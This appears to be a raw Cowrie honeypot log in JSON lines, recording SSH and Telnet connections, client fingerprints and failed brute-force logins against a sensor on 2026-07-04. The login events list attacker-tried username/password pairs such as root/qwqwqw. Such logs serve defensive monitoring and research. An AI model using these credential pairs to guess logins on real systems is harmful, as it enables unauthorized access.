{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:52:00.153370Z","src_ip":"20.228.179.34","session":"417d0040b11d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43858,"dst_ip":"10.17.0.5","dst_port":22,"session":"2797c3010e06","protocol":"ssh","message":"New connection: 103.153.68.219:43858 (10.17.0.5:22) [session: 2797c3010e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:52:23.507957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:52:23.511776Z","src_ip":"103.153.68.219","session":"2797c3010e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:52:23.766363Z","src_ip":"103.153.68.219","session":"2797c3010e06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rjvgfybz","message":"login attempt [root/rjvgfybz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:52:24.530993Z","src_ip":"103.153.68.219","session":"2797c3010e06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:52:25.787634Z","src_ip":"103.153.68.219","session":"2797c3010e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":49380,"dst_ip":"159.203.135.109","dst_port":22,"session":"95743cd7e03d","protocol":"ssh","message":"New connection: 103.172.78.219:49380 (159.203.135.109:22) [session: 95743cd7e03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:02.112751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:02.116707Z","src_ip":"103.172.78.219","session":"95743cd7e03d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:02.382398Z","src_ip":"103.172.78.219","session":"95743cd7e03d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pfbymrf","message":"login attempt [root/pfbymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:03.921584Z","src_ip":"103.172.78.219","session":"95743cd7e03d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:05.189917Z","src_ip":"103.172.78.219","session":"95743cd7e03d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":55824,"dst_ip":"159.203.135.109","dst_port":22,"session":"da33494fac40","protocol":"ssh","message":"New connection: 108.179.220.174:55824 (159.203.135.109:22) [session: da33494fac40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:09.558170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:09.561128Z","src_ip":"108.179.220.174","session":"da33494fac40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:09.589476Z","src_ip":"108.179.220.174","session":"da33494fac40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xem","password":"xem999","message":"login attempt [xem/xem999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:09.677511Z","src_ip":"108.179.220.174","session":"da33494fac40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:10.711755Z","src_ip":"108.179.220.174","session":"da33494fac40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35658,"dst_ip":"159.203.135.109","dst_port":23,"session":"d77b91fdc8de","protocol":"telnet","message":"New connection: 107.6.151.170:35658 (159.203.135.109:23) [session: d77b91fdc8de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:11.719578Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":38220,"dst_ip":"10.17.0.5","dst_port":22,"session":"db99867277bb","protocol":"ssh","message":"New connection: 177.76.134.52:38220 (10.17.0.5:22) [session: db99867277bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:21.434036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:21.457099Z","src_ip":"177.76.134.52","session":"db99867277bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:21.585681Z","src_ip":"177.76.134.52","session":"db99867277bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwqwqw","message":"login attempt [root/qwqwqw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:22.155457Z","src_ip":"177.76.134.52","session":"db99867277bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:23.291448Z","src_ip":"177.76.134.52","session":"db99867277bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":58936,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffc86153cfdc","protocol":"ssh","message":"New connection: 159.65.58.200:58936 (159.203.135.109:22) [session: ffc86153cfdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:34.195001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:34.405442Z","src_ip":"159.65.58.200","session":"ffc86153cfdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:34.407888Z","src_ip":"159.65.58.200","session":"ffc86153cfdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stadnik","password":"123456","message":"login attempt [stadnik/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:36.311715Z","src_ip":"159.65.58.200","session":"ffc86153cfdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:37.616523Z","src_ip":"159.65.58.200","session":"ffc86153cfdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.06556177139282,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:53:51.785044Z","src_ip":"107.6.151.170","session":"d77b91fdc8de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":35486,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d7ef0cfc988","protocol":"ssh","message":"New connection: 178.20.210.208:35486 (159.203.135.109:22) [session: 0d7ef0cfc988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:17.858144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:17.876690Z","src_ip":"178.20.210.208","session":"0d7ef0cfc988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:18.011057Z","src_ip":"178.20.210.208","session":"0d7ef0cfc988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3!@#","message":"login attempt [root/1qaz2wsx3!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:18.897981Z","src_ip":"178.20.210.208","session":"0d7ef0cfc988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:20.129856Z","src_ip":"178.20.210.208","session":"0d7ef0cfc988","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":53660,"dst_ip":"159.203.135.109","dst_port":22,"session":"70c8f48fdd19","protocol":"ssh","message":"New connection: 143.20.185.207:53660 (159.203.135.109:22) [session: 70c8f48fdd19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:35.602802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:35.612815Z","src_ip":"143.20.185.207","session":"70c8f48fdd19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:35.729376Z","src_ip":"143.20.185.207","session":"70c8f48fdd19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS#8VCPU16GBAMD","message":"login attempt [root/RASYAXINSAVPS#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:36.195018Z","src_ip":"143.20.185.207","session":"70c8f48fdd19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:37.317413Z","src_ip":"143.20.185.207","session":"70c8f48fdd19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":1306,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd84d9e7d7cb","protocol":"ssh","message":"New connection: 38.93.206.2:1306 (159.203.135.109:22) [session: cd84d9e7d7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:50.697393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:50.701261Z","src_ip":"38.93.206.2","session":"cd84d9e7d7cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:50.751255Z","src_ip":"38.93.206.2","session":"cd84d9e7d7cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5!","message":"login attempt [root/q1w2e3r4t5!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:50.904759Z","src_ip":"38.93.206.2","session":"cd84d9e7d7cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:54:51.959048Z","src_ip":"38.93.206.2","session":"cd84d9e7d7cb","protocol":"ssh"}
